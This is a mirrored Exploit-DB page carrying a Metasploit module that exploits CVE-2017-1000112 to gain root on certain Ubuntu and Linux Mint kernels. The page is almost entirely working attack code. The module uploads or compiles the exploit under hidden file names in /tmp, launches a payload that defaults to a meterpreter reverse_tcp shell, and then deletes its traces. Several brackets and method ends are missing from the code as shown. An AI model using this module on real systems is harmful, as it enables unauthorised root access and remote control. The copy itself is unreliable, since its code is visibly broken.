Linux Kernel – UDP Fragmentation Offset ‘UFO’ Privilege Escalation (Metasploit)

Exploit Database
108 阅读

作者： Metasploit

日期： 2018-08-03
类别：
- local
平台：
- linux
来源：https://www.exploit-db.com/exploits/45147/

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# This module requires Metasploit: https://metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

class MetasploitModule < Msf::Exploit::Local

Rank = GoodRanking

include Msf::Post::File

include Msf::Post::Linux::Priv

include Msf::Post::Linux::System

include Msf::Post::Linux::Kernel

include Msf::Exploit::EXE

include Msf::Exploit::FileDropper

def initialize(info = {})

super(update_info(info,

'Name' => 'Linux Kernel UDP Fragmentation Offset (UFO) Privilege Escalation',

'Description'=> %q{

This module attempts to gain root privileges on Linux systems by abusing

UDP Fragmentation Offload (UFO).

This exploit targets only systems using Ubuntu (Trusty / Xenial) kernels

4.4.0-21 <= 4.4.0-89 and 4.8.0-34 <= 4.8.0-58, including Linux distros

based on Ubuntu, such as Linux Mint.

The target system must have unprivileged user namespaces enabled

and SMAP disabled.

Bypasses for SMEP and KASLR are included. Failed exploitation

may crash the kernel.

This module has been tested successfully on various Ubuntu and Linux

Mint systems, including:

Ubuntu 14.04.5 4.4.0-31-generic x64 Desktop;

Ubuntu 16.04 4.8.0-53-generic;

Linux Mint 17.3 4.4.0-89-generic;

Linux Mint 18 4.8.0-58-generic

'License'=> MSF_LICENSE,

'Author' =>

[

'Andrey Konovalov', # Discovery and C exploit

'h00die', # Metasploit module

'Brendan Coles' # Metasploit module

'DisclosureDate' => 'Aug 10 2017',

'Platform' => [ 'linux' ],

'Arch' => [ ARCH_X64 ],

'SessionTypes' => [ 'shell', 'meterpreter' ],

'Targets'=> [[ 'Auto', {} ]],

'Privileged' => true,

'References' =>

[

[ 'CVE', '2017-1000112' ],

[ 'EDB', '43418' ],

[ 'BID', '100262' ],

[ 'URL', 'http://seclists.org/oss-sec/2017/q3/277' ],

[ 'URL', 'https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-1000112/poc.c' ],

[ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/davem/net.git/commit/?id=85f1bd9a7b5a79d5baa8bf44af19658f7bf77bfa' ],

[ 'URL', 'https://people.canonical.com/~ubuntu-security/cve/CVE-2017-1000112' ],

[ 'URL', 'https://securingtomorrow.mcafee.com/mcafee-labs/linux-kernel-vulnerability-can-lead-to-privilege-escalation-analyzing-cve-2017-1000112/' ],

[ 'URL', 'https://ricklarabee.blogspot.com/2017/12/adapting-poc-for-cve-2017-1000112-to.html' ],

[ 'URL', 'https://github.com/bcoles/kernel-exploits/commits/cve-2017-1000112' ]

'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' },

'DefaultTarget'=> 0))

register_options [

OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w[Auto True False] ]),

OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])

]

end

def base_dir

datastore['WritableDir'].to_s

end

def upload(path, data)

print_status "Writing '#{path}' (#{data.size} bytes) ..."

rm_f path

write_file path, data

end

def upload_and_chmodx(path, data)

upload path, data

cmd_exec "chmod +x '#{path}'"

end

def upload_and_compile(path, data)

upload "#{path}.c", data

gcc_cmd = "gcc -o #{path} #{path}.c"

if session.type.eql? 'shell'

gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}"

end

output = cmd_exec gcc_cmd

rm_f "#{path}.c"

unless output.blank?

print_error output

fail_with Failure::Unknown, "#{path}.c failed to compile"

end

cmd_exec "chmod +x #{path}"

end

def exploit_data(file)

path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2017-1000112', file

fd = ::File.open path, 'rb'

data = fd.read fd.stat.size

fd.close

data

end

def live_compile?

return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True')

if has_gcc?

vprint_good 'gcc is installed'

return true

end

unless datastore['COMPILE'].eql? 'Auto'

fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.'

end

def check

version = kernel_release

unless version =~ /^4\.4\.0-(21|22|24|28|31|34|36|38|42|45|47|51|53|57|59|62|63|64|66|67|70|71|72|75|78|79|81|83|87|89|81|89)-generic/ ||

version =~ /^4\.8\.0-(34|36|39|41|45|46|49|51|52|53|54|56|58)-generic/

vprint_error "Linux kernel version #{version} is not vulnerable"

return CheckCode::Safe

end

vprint_good "Linux kernel version #{version} is vulnerable"

vprint_status 'Checking if SMAP is enabled ...'

if smap_enabled?

vprint_error 'SMAP is enabled'

return CheckCode::Safe

end

vprint_good 'SMAP is not enabled'

arch = kernel_hardware

unless arch.include? 'x86_64'

vprint_error "System architecture #{arch} is not supported"

return CheckCode::Safe

end

vprint_good "System architecture #{arch} is supported"

unless userns_enabled?

vprint_error 'Unprivileged user namespaces are not permitted'

return CheckCode::Safe

end

vprint_good 'Unprivileged user namespaces are permitted'

CheckCode::Appears

end

def exploit

unless check == CheckCode::Appears

fail_with Failure::NotVulnerable, 'Target not vulnerable! punt!'

end

if is_root?

fail_with Failure::BadConfig, 'Session already has root privileges'

end

unless cmd_exec("test -w '#{base_dir}' && echo true").include? 'true'

fail_with Failure::BadConfig, "#{base_dir} is not writable"

end

# Upload exploit executable

executable_name = ".#{rand_text_alphanumeric rand(5..10)}"

executable_path = "#{base_dir}/#{executable_name}"

if live_compile?

vprint_status 'Live compiling exploit on system...'

upload_and_compile executable_path, exploit_data('exploit.c')

else

vprint_status 'Dropping pre-compiled exploit on system...'

upload_and_chmodx executable_path, exploit_data('exploit.out')

end

# Upload payload executable

payload_path = "#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}"

upload_and_chmodx payload_path, generate_payload_exe

# Launch exploit

print_status 'Launching exploit ...'

output = cmd_exec "echo '#{payload_path} & exit' | #{executable_path}"

output.each_line { |line| vprint_status line.chomp }

print_status "Cleaning up #{payload_path} and #{executable_path} ..."

rm_f executable_path

rm_f payload_path

end